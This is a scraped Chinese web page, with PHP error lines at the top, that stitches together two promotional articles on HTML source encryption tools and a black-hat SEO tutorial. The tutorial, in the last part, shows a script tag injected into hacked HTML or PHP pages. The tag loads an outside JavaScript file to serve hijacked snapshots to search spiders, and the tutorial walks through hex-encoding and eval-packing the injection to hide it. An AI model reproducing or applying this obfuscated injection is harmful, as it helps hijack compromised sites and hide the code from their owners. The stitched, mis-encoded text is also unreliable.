Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
使用JavaScript加密轉(zhuǎn)化技術(shù)將Html變?yōu)槊芪模源吮Wo(hù)html源代碼,這便是Html源碼加密。
同時(shí),這種加密技術(shù)還可實(shí)現(xiàn)網(wǎng)頁(yè)反調(diào)試、防復(fù)制、鏈接加密等功能。
什么情況下需要Html源代碼加密?
Html源代碼加密可用于哪些場(chǎng)景?
Html源代碼加密可用于以下需求場(chǎng)合:
Html源代碼保護(hù);防內(nèi)容爬蟲(chóng)、防分析、防嵌套、防內(nèi)容復(fù)制。使Html代碼不會(huì)輕易被他人獲取。
Html源代碼加密,可以實(shí)現(xiàn)哪些功能效果?
Html源代碼加密,可以實(shí)現(xiàn)以下效果:
加密的Html源碼、加密的頁(yè)面鏈接;禁用JavaScript時(shí)頁(yè)面不渲染、禁止右鍵、禁止ctrl+c、ctrl+v、禁止iframe嵌套,等。
以下進(jìn)行一次Html加密實(shí)操。
測(cè)試html代碼:
<html>
<head>
<title>Html源代碼加密</title>
<meta name="description" content="JShaman Html網(wǎng)頁(yè)源碼加密" />
<meta name="keywords" content="Html加密、網(wǎng)頁(yè)源碼加密" />
</head>
<body>
<h1>
Html加密、網(wǎng)頁(yè)源碼加密
</h1>
<a href="https://www.jshaman.com" target="_blank">JShaman.com</a>
<script>
alert("test");
</script>
</body>
</html>
使用JShaman的Html源代碼加密:https://www.jshaman.com/enhtml/
加密功能啟用:僵尸元素植入、鏈接加密、SEO優(yōu)化、JS混淆加密。
這幾項(xiàng)功能的說(shuō)明如下:
僵尸元素植入:
給頁(yè)面中隨機(jī)插入div、span、p等元素,形成新的節(jié)點(diǎn),這些節(jié)點(diǎn)中包含內(nèi)容,但不顯示、不影響頁(yè)面布局。
由于其真實(shí)存在,因此會(huì)對(duì)DevTool(瀏覽器開(kāi)發(fā)者工具)造成干擾,使用無(wú)法從“DOM和樣式探查器”中直接復(fù)制頁(yè)面內(nèi)容。
鏈接加密:
對(duì)網(wǎng)頁(yè)中所有鏈接(“a href”語(yǔ)句)進(jìn)行加密,隱藏鏈接地址。
以此防止鏈接被獲取、防止爬蟲(chóng)根據(jù)鏈接獲得其它頁(yè)面地址。
SEO優(yōu)化:
使加密后的Html代碼中包換與原頁(yè)面相同的title、keywords、description,及全頁(yè)面渲染后展示的文字內(nèi)容。
以此增加頁(yè)面對(duì)搜索引擎的友好性,使網(wǎng)頁(yè)更容易被收錄,并有排名優(yōu)化效果。
JS混淆加密:
對(duì)Html編碼后的JavaScript代碼進(jìn)行混淆加密,使代碼無(wú)法閱讀、理解。
并且是混淆加密是多態(tài)特性,一次一結(jié)果,永不重復(fù)。
加密結(jié)果、加密后的Html代碼:
加密后的Html與加密前一樣使用,無(wú)任何區(qū)別。
加密效果
將其保存為Html文件后,打開(kāi)查看效果:
1、首先,源碼是密文狀態(tài), 是混淆加密過(guò)的JS代碼,不會(huì)被人“查看源碼”即得到Html源碼。
2、加密的鏈接,鏈接雖然被加密(從源碼中只能看到錯(cuò)誤的鏈接地址),但不會(huì)影響鏈接的正常點(diǎn)擊,這還是比較神奇的,如下圖:
注:有人疑惑:從”查看器”中還是能看到“源碼”,是不是沒(méi)有起到加密效果呢?
這里需要澄清:開(kāi)發(fā)者工具“查看器”中看到的內(nèi)容,是Html代碼經(jīng)瀏覽器渲染的結(jié)果代碼,不是源碼,它是必須能被渲染出來(lái)的,如果加密代碼不能渲染,頁(yè)面也將不能顯示。
而加密,首先必須保證的是加密后的html代碼能正常使用。對(duì)吧?
其次,即使是渲染后的代碼,其中鏈接也加密了、也有了僵尸節(jié)點(diǎn)、還包含了加密代碼,等等。它跟原始的Html代碼還是有不小差異的,依然保護(hù)著原始Html代碼。
3、隨機(jī)插入的僵尸節(jié)點(diǎn),節(jié)點(diǎn)內(nèi)容也是隨機(jī)的。
4、用于SEO的節(jié)點(diǎn)內(nèi)容,內(nèi)容是原Html頁(yè)面中的核心文字,它會(huì)使加密后的Html代碼對(duì)搜索引擎收錄依然友好。如下圖:
而且title、description也是原樣保留:
綜上展示,簡(jiǎn)單總結(jié):
Html源代碼加密,有效、有用!不錯(cuò)。
tml網(wǎng)頁(yè)源碼加密
html網(wǎng)頁(yè)源碼能加密嗎?能加密到何種程度?
某些時(shí)候,我們可能需要對(duì)html網(wǎng)頁(yè)源碼加密,使網(wǎng)頁(yè)源碼不那么容易被他人獲得。出于這個(gè)目標(biāo),本文測(cè)試一種html加密方式。
提前透露:結(jié)論超出預(yù)期,似乎還實(shí)現(xiàn)了反爬蟲(chóng)。
首先來(lái)到網(wǎng)址:http://fairysoftware.com/html_jia_mi.html
由頁(yè)面介紹可知,這是一種使用js和escape結(jié)合實(shí)現(xiàn)的html加密。
直接使用頁(yè)面提供的例程,加密這一段html代碼:
得到加密的html代碼,如下圖:
然后將加密代碼粘貼到一個(gè)html文件中測(cè)試,如下圖:
頁(yè)面可以正常打開(kāi)。查看網(wǎng)頁(yè)源碼,果然源碼是加密的,如下圖:
特別的驚喜之處是:
如上圖所示,鏈接果然消失了。
即使用開(kāi)發(fā)者工具查看,也無(wú)法得到鏈接地址,而原始未加密前的html代碼中是有鏈接的,如下圖:
那么消失了的鏈接,還能正常點(diǎn)擊嗎?
點(diǎn)擊,鏈接可以正常打開(kāi):
雖然href鏈接隱藏了,但還能正常打開(kāi)頁(yè)面,功能完全正常。
測(cè)試結(jié)果既驚喜又意外,這樣的html網(wǎng)頁(yè)加密,效果還真是不錯(cuò),值得一用。
一些黑帽SEO要對(duì)跳轉(zhuǎn)的js代碼進(jìn)行加密,學(xué)習(xí)JavaScript加密方式,當(dāng)我們網(wǎng)站被黑時(shí),看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網(wǎng)站被黑問(wèn)題。今天,錯(cuò)誤博客(cuowu.com)分享的內(nèi)容為《黑帽SEO教程為html中的js跳轉(zhuǎn)url加密》。希望對(duì)大家有所幫助。
JavaScript跳轉(zhuǎn)是黑帽SEO中快照劫持常見(jiàn)操作手法,比如在寄生蟲(chóng)程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內(nèi)容為if判斷語(yǔ)句,如果訪問(wèn)的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內(nèi)容,如果是用戶(hù)直接訪問(wèn)瀏覽器則會(huì)顯示原頁(yè)面內(nèi)容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對(duì)前面雙引號(hào)內(nèi)的內(nèi)容進(jìn)行16進(jìn)制加密,后面單引號(hào)內(nèi)容也同樣進(jìn)行16進(jìn)制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個(gè)可以用utf-8轉(zhuǎn)16進(jìn)制加密在線工具即可。錯(cuò)誤博客站長(zhǎng)導(dǎo)航里面有。
站長(zhǎng)導(dǎo)航(https://cuowu.com/daohang/)
加密完成后變?yōu)椋?/span>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補(bǔ)充一下才能正常運(yùn)行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內(nèi)容利用站長(zhǎng)工具的JS混淆加密壓縮就可以得到eval加密形式,錯(cuò)誤博客站長(zhǎng)導(dǎo)航里面有。
站長(zhǎng)導(dǎo)航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過(guò)程了,解壓過(guò)程反過(guò)來(lái)推就可以了。
以上就是錯(cuò)誤博客(https://cuowu.com/)分享的內(nèi)容為《黑帽SEO為html中的js加密(js混淆與16進(jìn)制加密)》。感謝您的閱讀。更多原創(chuàng)搜索“錯(cuò)誤博客”。
*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。